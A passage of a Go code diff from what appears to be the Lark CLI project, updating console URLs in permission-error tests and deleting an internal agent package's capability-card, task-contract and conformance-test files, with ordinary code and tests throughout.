+	SubtypeFailedPrecondition Subtype = "failed_precondition" // request is valid but the system/resource state is not in the state required to execute; caller must change state (not retry) — e.g. ambiguous remote mapping (gRPC FAILED_PRECONDITION alignment)
 )
 
 // CategoryAuthentication subtypes

errs/types_test.go

@@ -319,7 +319,7 @@ func TestPermissionError_FullChain(t *testing.T) {
 		WithHint("run: lark-cli auth login --scope %q", "mail:user_mailbox.message:send").
 		WithMissingScopes("mail:user_mailbox.message:send").
 		WithIdentity("user").
-		WithConsoleURL("https://open.feishu.cn/app/cli_xxx/auth")
+		WithConsoleURL("https://open.feishu.cn/page/scope-apply?clientID=cli_xxx&scopes=mail:user_mailbox.message:send")
 
 	if got.Category != errs.CategoryAuthorization {
 		t.Errorf("Category = %q, want %q", got.Category, errs.CategoryAuthorization)
@@ -419,7 +419,7 @@ func TestBuilder_WireFormat(t *testing.T) {
 		WithHint("run lark-cli auth login --scope calendar:event:create").
 		WithMissingScopes("calendar:event:create").
 		WithIdentity("user").
-		WithConsoleURL("https://open.feishu.cn/app/cli_xxx/auth")
+		WithConsoleURL("https://open.feishu.cn/page/scope-apply?clientID=cli_xxx&scopes=calendar:event:create")
 
 	buf, err := json.Marshal(e)
 	if err != nil {
@@ -439,7 +439,7 @@ func TestBuilder_WireFormat(t *testing.T) {
 		"hint":           "run lark-cli auth login --scope calendar:event:create",
 		"log_id":         "20260520-0a1b2c3d",
 		"identity":       "user",
-		"console_url":    "https://open.feishu.cn/app/cli_xxx/auth",
+		"console_url":    "https://open.feishu.cn/page/scope-apply?clientID=cli_xxx&scopes=calendar:event:create",
 		"missing_scopes": []any{"calendar:event:create"},
 	}
 	for k, want := range wantFields {

internal/agent/agenttest/agenttest.go

@@ -1,156 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-// Package agenttest provides provider conformance tests: a new integrator calls
-// RunConformance in its own test to lock down registration metadata, offline
-// resolution, the mandatory core hooks, and single-sourced card derivation. All
-// assertions run offline (no runtime, no API calls).
-package agenttest
-
-import (
-	"context"
-	"reflect"
-	"strings"
-	"testing"
-
-	"github.com/larksuite/cli/internal/agent"
-)
-
-// RunConformance runs the full set of conformance assertions against a
-// registered scheme. sampleAgentID must be a valid agent id (catalog: an id from
-// the Catalog; instance: any non-empty id).
-func RunConformance(t *testing.T, scheme, sampleAgentID string) {
-	t.Helper()
-	prov, ok := agent.Info(scheme)
-	if !ok {
-		t.Fatalf("conformance: scheme %q not registered (the top-level agent package must be imported to trigger init registration)", scheme)
-	}
-
-	t.Run("metadata", func(t *testing.T) {
-		if prov.Scheme != scheme {
-			t.Errorf("conformance: Provider.Scheme should be %q, got %q", scheme, prov.Scheme)
-		}
-		if prov.Label == "" {
-			t.Error("conformance: Provider.Label must not be empty")
-		}
-		if prov.AgentIDSource == "" {
-			t.Error("conformance: Provider.AgentIDSource must not be empty")
-		}
-		if len(prov.Identities) == 0 {
-			t.Error("conformance: Identities must not be empty")
-		}
-		for i, id := range prov.Identities {
-			if id.Type != agent.IdentityUser && id.Type != agent.IdentityBot {
-				t.Errorf("conformance: Identities[%d].Type should be user|bot, got %q", i, id.Type)
-			}
-		}
-		// Exactly one of Catalog / Instance is set (Register enforces; re-assert).
-		if (len(prov.Catalog) > 0) == (prov.Instance != nil) {
-			t.Error("conformance: exactly one of Catalog / Instance must be set")
-		}
-		seen := make(map[string]bool, len(prov.RequiredScopes))
-		for _, s := range prov.RequiredScopes {
-			if seen[s] {
-				t.Errorf("conformance: RequiredScopes contains duplicate %q", s)
-			}
-			seen[s] = true
-		}
-	})
-
-	t.Run("lookup", func(t *testing.T) {
-		gotProv, spec, agentID, err := agent.LookupSpec(scheme + ":" + sampleAgentID)
-		if err != nil {
-			t.Fatalf("conformance: LookupSpec(%s:%s) offline should succeed, got %v", scheme, sampleAgentID, err)
-		}
-		if gotProv.Scheme != scheme {
-			t.Errorf("conformance: LookupSpec provider scheme should be %q, got %q", scheme, gotProv.Scheme)
-		}
-		if agentID != sampleAgentID {
-			t.Errorf("conformance: LookupSpec should echo the agent id %q, got %q", sampleAgentID, agentID)
-		}
-		// Core hooks are mandatory (the command layer dispatches them without a
-		// nil-check); Register enforces this at registration, re-assert here.
-		if spec.Send == nil {
-			t.Error("conformance: spec.Send (core) must be wired")
-		}
-		if spec.GetTask == nil {
-			t.Error("conformance: spec.GetTask (core) must be wired")
-		}
-	})
-
-	t.Run("card", func(t *testing.T) {
-		buildCard := func() *agent.AgentCard {
-			t.Helper()
-			_, spec, agentID, err := agent.LookupSpec(scheme + ":" + sampleAgentID)
-			if err != nil {
-				t.Fatalf("conformance: LookupSpec returned error: %v", err)
-			}
-			// rt=nil: the guaranteed-offline card (caps + registration + static
-			// metadata). Describe enrichment is never exercised here.
-			return agent.BuildCard(context.Background(), prov, spec, agentID, nil)
-		}
-		card := buildCard()
-		if card.Provider != scheme {
-			t.Errorf("conformance: Card.Provider should be %q, got %q", scheme, card.Provider)
-		}
-		if card.AgentID != sampleAgentID {
-			t.Errorf("conformance: Card.AgentID should echo the input %q, got %q", sampleAgentID, card.AgentID)
-		}
-		if card.ProviderLabel != prov.Label {
-			t.Errorf("conformance: Card.ProviderLabel should equal the registered Label %q, got %q", prov.Label, card.ProviderLabel)
-		}
-		if !reflect.DeepEqual(card.Identity, prov.Identities) {
-			t.Errorf("conformance: Card.Identity should match the registered Identities, expected %+v got %+v", prov.Identities, card.Identity)
-		}
-		if card.AgentIDSource != prov.AgentIDSource {
-			t.Errorf("conformance: Card.AgentIDSource should equal the registered value %q, got %q", prov.AgentIDSource, card.AgentIDSource)
-		}
-		if card.Parameters == nil {
-			t.Error("conformance: Card.Parameters must not be nil (always emitted, empty is [])")
-		}
-		if !card.Capabilities.TaskGet {
-			t.Error("conformance: task_get must be true (GetTask is a mandatory core hook)")
-		}
-		// Single-sourcing: two independent offline builds must DeepEqual.
-		if card2 := buildCard(); !reflect.DeepEqual(card, card2) {
-			t.Errorf("conformance: two offline BuildCard results should DeepEqual (single source), got\n%+v\nvs\n%+v", card, card2)
-		}
-	})
-
-	if prov.Kind() == agent.KindCatalog {
-		t.Run("enumeration", func(t *testing.T) {
-			list := prov.ListCatalog()
-			wantRef := scheme + ":" + sampleAgentID
-			found := false
-			for i, a := range list {
-				r, err := agent.ParseRef(a.AgentRef)
-				if err != nil {
-					t.Errorf("conformance: ListCatalog[%d].AgentRef %q should be parseable: %v", i, a.AgentRef, err)
-					continue
-				}
-				if r.Scheme != scheme {
-					t.Errorf("conformance: ListCatalog[%d].AgentRef %q scheme should be %q, got %q", i, a.AgentRef, scheme, r.Scheme)
-				}
-				if a.Name == "" {
-					t.Errorf("conformance: ListCatalog[%d] (%s) Name must not be empty", i, a.AgentRef)
-				}
-				if a.AgentRef == wantRef {
-					found = true
-				}
-			}
-			if !found {
-				t.Errorf("conformance: sampleAgentID should appear in the enumeration (expected %q), got %+v", wantRef, list)
-			}
-			// stable, sorted by AgentRef.
-			list2 := prov.ListCatalog()
-			if !reflect.DeepEqual(list, list2) {
-				t.Errorf("conformance: two ListCatalog results should DeepEqual (stable), got\n%+v\nvs\n%+v", list, list2)
-			}
-			for i := 1; i < len(list); i++ {
-				if strings.Compare(list[i-1].AgentRef, list[i].AgentRef) > 0 {
-					t.Errorf("conformance: ListCatalog should be sorted by AgentRef, got %q before %q", list[i-1].AgentRef, list[i].AgentRef)
-				}
-			}
-		})
-	}
-}

internal/agent/card.go

@@ -1,172 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import "context"
-
-// capability key constants (the JSON key names in capabilities, also the
-// capability identifiers used by Supports / capabilityError). Only capabilities
-// that "can change the AI's next command line and are currently deliverable" are
-// exposed.
-const (
-	CapTaskGet          = "task_get"
-	CapTaskList         = "task_list"
-	CapTaskCancel       = "task_cancel"
-	CapInputRequired    = "input_required"
-	CapFileInput        = "file_input"
-	CapArtifactDownload = "artifact_download"
-	// The three multi-turn (context) verbs are independently wired, so each has
-	// its own capability bit — a provider may support listing sessions without
-	// supporting get or delete. (There is no umbrella "multi_turn" bit: a single
-	// flag cannot honestly represent three separately-deliverable hooks.)
-	CapContextList   = "context_list"
-	CapContextGet    = "context_get"
-	CapContextDelete = "context_delete"
-)
-
-// Capabilities is the closed set of capabilities: making it a struct means an
-// omitted field is an explicit false and a typo is a compile error. Fields are
-// ordered by json tag alphabetically so the emitted key order is stable.
-type Capabilities struct {
-	ArtifactDownload bool `json:"artifact_download"`
-	ContextDelete    bool `json:"context_delete"`
-	ContextGet       bool `json:"context_get"`
-	ContextList      bool `json:"context_list"`
-	FileInput        bool `json:"file_input"`
-	InputRequired    bool `json:"input_required"`
-	TaskCancel       bool `json:"task_cancel"`
-	TaskGet          bool `json:"task_get"`
-	TaskList         bool `json:"task_list"`
-}
-
-// AgentCard is a remote agent's capability card (schema v2): provider metadata,
-// the supported capability matrix, identity precondition declarations, and
-// parameter / skill declarations (scopes are not in the card; they are internal
-// registration data for preflight only).
-type AgentCard struct {
-	Provider      string         `json:"provider"`
-	ProviderLabel string         `json:"provider_label"`
-	AgentID       string         `json:"agent_id"`
-	Name          string         `json:"name,omitempty"` // dynamic card only
-	Description   string         `json:"description,omitempty"`
-	Capabilities  Capabilities   `json:"capabilities"`
-	Identity      []IdentitySpec `json:"identity"`
-	Parameters    []CardParam    `json:"parameters"` // always emitted (empty is [])
-	AgentIDSource string         `json:"agent_id_source"`
-	Skills        []CardSkill    `json:"skills,omitempty"`
-}
-
-// DeriveCapabilities computes the capability matrix from which AgentSpec hooks
-// are wired — the single source of truth. The method-backed capabilities are
-// derived from the corresponding func field being non-nil (implement it =
-// support it); file_input / input_required are behavioral flags with no backing
-// hook and are read straight from the spec. Send/GetTask are mandatory (Register
-// enforces), so task_get is always true.
-func DeriveCapabilities(s *AgentSpec) Capabilities {
-	return Capabilities{
-		TaskGet:          s.GetTask != nil,
-		TaskList:         s.ListTasks != nil,
-		TaskCancel:       s.CancelTask != nil,
-		ArtifactDownload: s.DownloadArtifact != nil,
-		ContextList:      s.ListContexts != nil,
-		ContextGet:       s.GetContext != nil,
-		ContextDelete:    s.DeleteContext != nil,
-		FileInput:        s.FileInput,
-		InputRequired:    s.InputRequired,
-	}
-}
-
-// BuildCard synthesizes an agent's full Card: registration metadata from the
-// Provider, the capability matrix from DeriveCapabilities (wired hooks), and the
-// static per-agent metadata from the spec. When rt != nil AND the spec wires
-// Describe, it best-effort enriches Name/Description/Parameters/Skills from the
-// remote — a Describe error is swallowed so the card degrades to the offline
-// (caps + static) version rather than hard-failing (the caps matrix is the
-// primary value). Pass rt=nil for the guaranteed-offline path (card before
-// config init, dry-run). A provider never assembles its own card or declares its
-// own capability bools.
-func BuildCard(ctx context.Context, p Provider, s *AgentSpec, agentID string, rt Runtime) *AgentCard {
-	card := &AgentCard{
-		Provider:      p.Scheme,
-		ProviderLabel: p.Label,
-		AgentID:       agentID,
-		Name:          s.Name,
-		Description:   s.Description,
-		Capabilities:  DeriveCapabilities(s),
-		Identity:      p.Identities,
-		Parameters:    nonNilParams(s.Parameters),
-		AgentIDSource: p.AgentIDSource,
-		Skills:        s.Skills,
-	}
-	if rt != nil && s.Describe != nil {
-		if info, err := s.Describe(ctx, rt); err == nil && info != nil {
-			if info.Name != "" {
-				card.Name = info.Name
-			}
-			if info.Description != "" {
-				card.Description = info.Description
-			}
-			if info.Parameters != nil {
-				card.Parameters = info.Parameters
-			}
-			if info.Skills != nil {
-				card.Skills = info.Skills
-			}
-		}
-	}
-	return card
-}
-
-// nonNilParams keeps Parameters always emitted (empty is [], never null).
-func nonNilParams(p []CardParam) []CardParam {
-	if p == nil {
-		return []CardParam{}
-	}
-	return p
-}
-
-// CardParam is one input parameter declared by a Card (used for --param validation).
-type CardParam struct {
-	Name     string `json:"name"`
-	Type     string `json:"type"`
-	Required bool   `json:"required"`
-	Desc     string `json:"desc,omitempty"`
-}
-
-// CardSkill is one skill / scenario declared by a Card (with example usages).
-type CardSkill struct {
-	ID       string   `json:"id"`
-	Name     string   `json:"name,omitempty"`
-	Examples []string `json:"examples,omitempty"`
-}
-
-// Supports reports whether a capability is declared as supported (an unknown key
-// or a nil card is treated as unsupported).
-func (c *AgentCard) Supports(capKey string) bool {
-	if c == nil {
-		return false
-	}
-	switch capKey {
-	case CapArtifactDownload:
-		return c.Capabilities.ArtifactDownload
-	case CapFileInput:
-		return c.Capabilities.FileInput
-	case CapInputRequired:
-		return c.Capabilities.InputRequired
-	case CapContextList:
-		return c.Capabilities.ContextList
-	case CapContextGet:
-		return c.Capabilities.ContextGet
-	case CapContextDelete:
-		return c.Capabilities.ContextDelete
-	case CapTaskCancel:
-		return c.Capabilities.TaskCancel
-	case CapTaskGet:
-		return c.Capabilities.TaskGet
-	case CapTaskList:
-		return c.Capabilities.TaskList
-	default:
-		return false
-	}
-}

internal/agent/card_test.go

@@ -1,152 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"encoding/json"
-	"testing"
-
-	"github.com/larksuite/cli/errs"
-)
-
-// fakeRT is a no-op Runtime for exercising BuildCard's rt != nil path.
-type fakeRT struct{}
-
-func (fakeRT) AgentID() string { return "" }
-func (fakeRT) IsBot() bool     { return false }
-func (fakeRT) CallAPI(context.Context, string, string, map[string]string, any) (json.RawMessage, error) {
-	return nil, nil
-}
-func (fakeRT) CallMultipart(context.Context, string, string, map[string]string, []FilePart) (json.RawMessage, error) {
-	return nil, nil
-}
-
-func TestCardSupports(t *testing.T) {
-	c := &AgentCard{Capabilities: Capabilities{TaskCancel: false, ContextList: true}}
-	if c.Supports(CapTaskCancel) {
-		t.Error("task_cancel should not be supported")
-	}
-	if !c.Supports(CapContextList) {
-		t.Error("context_list should be supported")
-	}
-	if c.Supports("nonexistent") {
-		t.Error("unknown capability should be treated as unsupported")
-	}
-	// nil guard branch: a nil receiver is treated as unsupported; a zero-value Capabilities is all false.
-	var nilCard *AgentCard
-	if nilCard.Supports(CapContextList) {
-		t.Error("nil card should be treated as unsupported")
-	}
-	if (&AgentCard{}).Supports(CapContextList) {
-		t.Error("zero-value Capabilities should be treated as unsupported")
-	}
-	// Each capability constant must map to its own struct field (the switch has no gaps or mismatches).
-	all := &AgentCard{Capabilities: Capabilities{
-		ArtifactDownload: true, FileInput: true, InputRequired: true,
-		ContextList: true, ContextGet: true, ContextDelete: true,
-		TaskCancel: true, TaskGet: true, TaskList: true,
-	}}
-	for _, k := range []string{
-		CapArtifactDownload, CapFileInput, CapInputRequired,
-		CapContextList, CapContextGet, CapContextDelete,
-		CapTaskCancel, CapTaskGet, CapTaskList,
-	} {
-		if !all.Supports(k) {
-			t.Errorf("Supports(%q) should be true when all Capabilities are true", k)
-		}
-	}
-}
-
-// TestDeriveCapabilities pins the crown jewel: capability = wired-hook presence.
-func TestDeriveCapabilities(t *testing.T) {
-	// Minimal (echo-like): only the core hooks + read verbs.
-	min := coreSpec("echo")
-	min.ListContexts = func(context.Context, Runtime) ([]ContextSummary, error) { return nil, nil }
-	c := DeriveCapabilities(&min)
-	if !c.TaskGet {
-		t.Error("task_get should be true (GetTask is a mandatory core hook)")
-	}
-	if !c.ContextList {
-		t.Error("context_list should be true (ListContexts wired)")
-	}
-	// The three context caps are independent: only ListContexts is wired here, so
-	// context_get / context_delete stay false (no umbrella multi_turn bit).
-	if c.TaskCancel || c.ArtifactDownload || c.TaskList || c.FileInput || c.InputRequired || c.ContextGet || c.ContextDelete {
-		t.Errorf("unwired capabilities should be false, got %+v", c)
-	}
-
-	// Full (reporter-like): everything wired / declared.
-	full := coreSpec("reporter")
-	full.ListTasks = func(context.Context, Runtime, string) ([]TaskSummary, error) { return nil, nil }
-	full.CancelTask = func(context.Context, Runtime, string) error { return nil }
-	full.ListContexts = func(context.Context, Runtime) ([]ContextSummary, error) { return nil, nil }
-	full.GetContext = func(context.Context, Runtime, string) (*ContextDetail, error) { return nil, nil }
-	full.DeleteContext = func(context.Context, Runtime, string) error { return nil }
-	full.DownloadArtifact = func(context.Context, Runtime, string, string) (*ArtifactData, error) { return nil, nil }
-	full.FileInput = true
-	full.InputRequired = true
-	c = DeriveCapabilities(&full)
-	if !(c.TaskGet && c.TaskList && c.TaskCancel && c.ContextList && c.ContextGet && c.ContextDelete && c.ArtifactDownload && c.FileInput && c.InputRequired) {
-		t.Errorf("a fully-wired spec should have every capability true, got %+v", c)
-	}
-}
-
-// TestBuildCardOffline pins that BuildCard with rt=nil fills registration
-// metadata + derived caps + static per-agent metadata, always offline (Describe
-// is never invoked without a runtime).
-func TestBuildCardOffline(t *testing.T) {
-	prov := catalogProvider("nc", "a1")
-	prov.Identities = []IdentitySpec{{Type: IdentityBot, Precondition: "需要白名单"}}
-	prov.Catalog[0].Describe = func(context.Context, Runtime) (*CardInfo, error) {
-		return &CardInfo{Name: "REMOTE"}, nil // must NOT be called with rt=nil
-	}
-	spec := &prov.Catalog[0]
-
-	card := BuildCard(context.Background(), prov, spec, "a1", nil)
-	if card.Provider != "nc" || card.AgentID != "a1" {
-		t.Fatalf("provider/agent_id: %+v", card)
-	}
-	if card.ProviderLabel != prov.Label || card.AgentIDSource != prov.AgentIDSource {
-		t.Fatalf("registration metadata should be pre-filled: %+v", card)
-	}
-	if len(card.Identity) != 1 || card.Identity[0].Type != IdentityBot {
-		t.Fatalf("identity should come from the provider: %+v", card.Identity)
-	}
-	if card.Parameters == nil || len(card.Parameters) != 0 {
-		t.Fatalf("parameters should be empty but non-nil (always emit []): %#v", card.Parameters)
-	}
-	if !card.Capabilities.TaskGet {
-		t.Error("task_get should be derived true")
-	}
-	if card.Name != "name-a1" {
-		t.Errorf("offline card should use the static spec Name (not the rt=nil Describe), got %q", card.Name)
-	}
-}
-
-// TestBuildCardDynamicDescribe pins the rt != nil path: Describe enriches
-// Name/Description when it succeeds, and a Describe error is swallowed so the
-// card degrades to the offline version (best-effort).
-func TestBuildCardDynamicDescribe(t *testing.T) {
-	prov := instanceProvider("dyn") // instance spec: no static Name
-	prov.Instance.Describe = func(context.Context, Runtime) (*CardInfo, error) {
-		return &CardInfo{Name: "Remote Name", Description: "Remote Desc"}, nil
-	}
-	card := BuildCard(context.Background(), prov, prov.Instance, "agt_x", fakeRT{})
-	if card.Name != "Remote Name" || card.Description != "Remote Desc" {
-		t.Errorf("rt != nil + Describe should enrich the card, got name=%q desc=%q", card.Name, card.Description)
-	}
-
-	// A Describe error degrades to the offline card (no enrichment), never fails.
-	prov.Instance.Describe = func(context.Context, Runtime) (*CardInfo, error) {
-		return nil, errs.NewInternalError(errs.SubtypeUnknown, "describe boom")
-	}
-	card = BuildCard(context.Background(), prov, prov.Instance, "agt_x", fakeRT{})
-	if card.Name != "" {
-		t.Errorf("a Describe error should be swallowed → offline card (instance has no static Name), got name=%q", card.Name)
-	}
-	if !card.Capabilities.TaskGet {
-		t.Error("caps should still be present on the degraded card")
-	}
-}

internal/agent/contract.go

@@ -1,110 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-// AgentTask is the unified structure that task-family commands put into output.Envelope.Data.
-type AgentTask struct {
-	TaskID        string         `json:"task_id"`
-	ContextID     string         `json:"context_id,omitempty"`
-	State         TaskState      `json:"state"`
-	IsTerminal    bool           `json:"is_terminal"`
-	CreatedAt     string         `json:"created_at,omitempty"` // ISO 8601; when the task was created (empty if the provider does not supply it)
-	UpdatedAt     string         `json:"updated_at,omitempty"` // ISO 8601; when the current status was recorded (aligns with A2A TaskStatus.timestamp)
-	Messages      []Message      `json:"messages,omitempty"`
-	Artifacts     []Artifact     `json:"artifacts,omitempty"`
-	InputRequired *InputRequired `json:"input_required,omitempty"`
-}
-
-// Message is one turn of an agent or user message, composed of several Parts.
-type Message struct {
-	Role  string `json:"role"` // "agent" | "user"
-	Parts []Part `json:"parts"`
-}
-
-// Part is one fragment of a message: text, file, or structured data.
-type Part struct {
-	Type string `json:"type"` // "text" | "file" | "data"
-	Text string `json:"text,omitempty"`
-	// File/Data pass-through: file uses URL/Name, data uses Data.
-	Name string      `json:"name,omitempty"`
-	URL  string      `json:"url,omitempty"`
-	Data interface{} `json:"data,omitempty"`
-}
-
-// Artifact is one artifact produced by a task (file / inline text), downloadable
-// via URL.
-//
-// Its fields align with A2A's Artifact/FilePart, but only what a provider can
-// truly deliver is populated (e.g. example only provides ID + Kind — the
-// coarse-grained kind at the GetTask stage — plus Name/Mime at the download
-// stage). Mime/Description/Size are placeholders under A2A semantics; if a
-// provider does not yet supply them they are omitted via omitempty and lit up
-// only once the provider can fill them, rather than creating empty shell fields
-// that cannot be filled.
-type Artifact struct {
-	ID          string `json:"id"`
-	Kind        string `json:"kind,omitempty"` // coarse-grained kind (image/file/...), a type hint before download
-	Name        string `json:"name,omitempty"` // file name (with extension), helps choose the -o save name
-	Mime        string `json:"mime,omitempty"` // content type (image/png…), empty if the provider does not supply it
-	Description string `json:"description,omitempty"`
-	Size        int64  `json:"size,omitempty"` // byte count, 0 if the provider does not supply it
-	URL         string `json:"url,omitempty"`
-	Text        string `json:"text,omitempty"`
-}
-
-// InputRequired describes the input a task requests from the user while in the
-// input_required state.
-type InputRequired struct {
-	Prompt  string   `json:"prompt"`
-	Options []string `json:"options,omitempty"`
-}
-
-// TaskSummary is a single task summary in the task list output (and in a
-// context's active_task). It carries just enough to triage without a full
-// task get: state + when it last changed + a one-line content digest.
-type TaskSummary struct {
-	TaskID     string    `json:"task_id"`
-	ContextID  string    `json:"context_id,omitempty"`
-	State      TaskState `json:"state"`
-	IsTerminal bool      `json:"is_terminal"`
-	UpdatedAt  string    `json:"updated_at,omitempty"` // ISO 8601; when the status was last recorded — the key for "most recent"
-	Summary    string    `json:"summary,omitempty"`    // last agent message, ANSI-stripped + flattened + truncated; for input_required it is the pending prompt
-}
-
-// ContextSummary is a single context summary in the context list output. It is
-// the conversation-layer rollup used to pick which conversation needs attention.
-type ContextSummary struct {
-	ContextID     string `json:"context_id"`
-	CreatedAt     string `json:"created_at,omitempty"`
-	UpdatedAt     string `json:"updated_at,omitempty"` // ISO 8601; last activity across the context's tasks
-	Title         string `json:"title,omitempty"`
-	TaskCount     int    `json:"task_count"`               // number of tasks in the context
-	AwaitingInput bool   `json:"awaiting_input,omitempty"` // a task is paused in input_required/auth_required (needs the caller)
-}
-
-// ContextDetail is the context detail in the context get output. It is the
-// conversation overview — metadata + a rollup + the single task the caller would
-// most likely act on. The full task enumeration lives in `agent task list
-// --context-id`, so ContextDetail deliberately does NOT embed the whole tasks[].
-type ContextDetail struct {
-	ContextID     string       `json:"context_id"`
-	CreatedAt     string       `json:"created_at,omitempty"`
-	UpdatedAt     string       `json:"updated_at,omitempty"`
-	Title         string       `json:"title,omitempty"`
-	TaskCount     int          `json:"task_count"`
-	AwaitingInput bool         `json:"awaiting_input,omitempty"`
-	ActiveTask    *TaskSummary `json:"active_task,omitempty"` // the task with the latest updated_at (nil for an empty context)
-}
-
-// ArtifactData is the return value of DownloadArtifact: the URL type gives URL,
-// the inline type gives Bytes. Name is the server-suggested file name (echoed
-// back only as a suggested_name reference for the command layer); it is
-// untrusted input and must never participate in constructing the local save
-// path — the save path is always determined by -o/SafeOutputPath.
-type ArtifactData struct {
-	Name  string
-	Mime  string
-	URL   string
-	Bytes []byte
-}

internal/agent/contract_test.go

@@ -1,142 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"encoding/json"
-	"testing"
-)
-
-func TestAgentTaskJSON(t *testing.T) {
-	at := AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: StateInputRequired,
-		IsTerminal:    false,
-		InputRequired: &InputRequired{Prompt: "按大区还是品类拆?", Options: []string{"region", "category"}}}
-	b, _ := json.Marshal(at)
-	var m map[string]interface{}
-	_ = json.Unmarshal(b, &m)
-	if m["state"] != "input_required" {
-		t.Errorf("state=%v", m["state"])
-	}
-	if _, ok := m["input_required"]; !ok {
-		t.Error("input_required should appear in the input_required state")
-	}
-	// unset artifacts should be omitted via omitempty
-	if _, ok := m["artifacts"]; ok {
-		t.Error("artifacts should be omitted via omitempty")
-	}
-}
-
-// TestAgentTaskTimestampsJSON pins the added lifecycle timestamps: created_at /
-// updated_at are emitted when set and omitted via omitempty when empty.
-func TestAgentTaskTimestampsJSON(t *testing.T) {
-	b, _ := json.Marshal(AgentTask{TaskID: "chat_1", State: StateCompleted,
-		CreatedAt: "2026-07-07T00:00:00Z", UpdatedAt: "2026-07-07T00:01:00Z"})
-	var m map[string]interface{}
-	_ = json.Unmarshal(b, &m)
-	if m["created_at"] != "2026-07-07T00:00:00Z" || m["updated_at"] != "2026-07-07T00:01:00Z" {
-		t.Errorf("created_at/updated_at should be emitted, got %v", m)
-	}
-
-	b, _ = json.Marshal(AgentTask{TaskID: "chat_1", State: StateWorking})
-	m = map[string]interface{}{}
-	_ = json.Unmarshal(b, &m)
-	if _, ok := m["created_at"]; ok {
-		t.Error("created_at should be omitted via omitempty when empty")
-	}
-	if _, ok := m["updated_at"]; ok {
-		t.Error("updated_at should be omitted via omitempty when empty")
-	}
-}
-
-// TestTaskSummaryJSON pins the enriched task-summary shape: updated_at + summary
-// are emitted when set and omitted via omitempty when empty.
-func TestTaskSummaryJSON(t *testing.T) {
-	b, _ := json.Marshal(TaskSummary{TaskID: "chat_1", ContextID: "sess_1",
-		State: StateCompleted, IsTerminal: true,
-		UpdatedAt: "2026-07-07T00:01:00Z", Summary: "报表已生成"})
-	var m map[string]interface{}
-	_ = json.Unmarshal(b, &m)
-	if m["updated_at"] != "2026-07-07T00:01:00Z" {
-		t.Errorf("updated_at should be emitted, got %v", m["updated_at"])
-	}
-	if m["summary"] != "报表已生成" {
-		t.Errorf("summary should be emitted, got %v", m["summary"])
-	}
-
-	b, _ = json.Marshal(TaskSummary{TaskID: "x", State: StateWorking})
-	m = map[string]interface{}{}
-	_ = json.Unmarshal(b, &m)
-	if _, ok := m["summary"]; ok {
-		t.Error("summary should be omitted via omitempty when empty")
-	}
-	if _, ok := m["updated_at"]; ok {
-		t.Error("updated_at should be omitted via omitempty when empty")
-	}
-}
-
-// TestContextSummaryJSON pins the rollup shape: task_count ALWAYS appears (no
-// omitempty, so a zero count stays explicit); awaiting_input is omitted when
-// false; updated_at is carried.
-func TestContextSummaryJSON(t *testing.T) {
-	b, _ := json.Marshal(ContextSummary{ContextID: "sess_1", TaskCount: 0})
-	var m map[string]interface{}
-	_ = json.Unmarshal(b, &m)
-	if _, ok := m["task_count"]; !ok {
-		t.Error("task_count must always be present (no omitempty), even when 0")
-	}
-	if _, ok := m["awaiting_input"]; ok {
-		t.Error("awaiting_input should be omitted via omitempty when false")
-	}
-
-	b, _ = json.Marshal(ContextSummary{ContextID: "sess_1",
-		UpdatedAt: "2026-07-07T00:01:00Z", TaskCount: 2, AwaitingInput: true})
-	m = map[string]interface{}{}
-	_ = json.Unmarshal(b, &m)
-	if tc, _ := m["task_count"].(float64); tc != 2 {
-		t.Errorf("task_count should be 2, got %v", m["task_count"])
-	}
-	if m["awaiting_input"] != true {
-		t.Errorf("awaiting_input should be true, got %v", m["awaiting_input"])
-	}
-	if m["updated_at"] != "2026-07-07T00:01:00Z" {
-		t.Errorf("updated_at should be emitted, got %v", m["updated_at"])
-	}
-}
-
-// TestContextDetailJSON pins that context detail NO LONGER embeds a full tasks[]:
-// it carries task_count + awaiting_input + a single nested active_task (omitted
-// when nil).
-func TestContextDetailJSON(t *testing.T) {
-	b, _ := json.Marshal(ContextDetail{ContextID: "sess_1", TaskCount: 2, AwaitingInput: true,
-		ActiveTask: &TaskSummary{TaskID: "chat_1", State: StateInputRequired, Summary: "按大区还是品类拆?"}})
-	var m map[string]interface{}
-	_ = json.Unmarshal(b, &m)
-	if _, ok := m["tasks"]; ok {
-		t.Error("ContextDetail must NOT embed a full tasks[] anymore")
-	}
-	if _, ok := m["task_count"]; !ok {
-		t.Error("task_count must always be present")
-	}
-	if m["awaiting_input"] != true {
-		t.Errorf("awaiting_input should be true, got %v", m["awaiting_input"])
-	}
-	at, ok := m["active_task"].(map[string]interface{})
-	if !ok {
-		t.Fatalf("active_task should be a nested object, got %v", m["active_task"])
-	}
-	if at["summary"] != "按大区还是品类拆?" {
-		t.Errorf("active_task.summary should be carried, got %v", at["summary"])
-	}
-
-	// active_task is omitted for an empty context; awaiting_input stays omitted when false.
-	b, _ = json.Marshal(ContextDetail{ContextID: "empty", TaskCount: 0})
-	m = map[string]interface{}{}
-	_ = json.Unmarshal(b, &m)
-	if _, ok := m["active_task"]; ok {
-		t.Error("active_task should be omitted via omitempty when nil")
-	}
-	if _, ok := m["awaiting_input"]; ok {
-		t.Error("awaiting_input should be omitted via omitempty when false")
-	}
-}

internal/agent/provider.go

@@ -1,99 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import "context"
-
-// SendInput is the input to send (Params has already passed Card validation).
-type SendInput struct {
-	Text      string
-	Files     []string
-	Params    map[string]string
-	ContextID string
-	TaskID    string
-}
-
-// CardInfo is the per-agent descriptive metadata a provider supplies for its
-// Card (everything the framework cannot fill from registration data or derive
-// from capabilities): the display Name/Description, declared input Parameters,
-// and Skills. It is returned by AgentSpec.Describe.
-type CardInfo struct {
-	Name        string
-	Description string
-	Parameters  []CardParam
-	Skills      []CardSkill
-}
-
-// Provider is one business domain (one scheme): registration metadata plus its
-// agent set. It is a declarative value — registered from agent/register.go, not
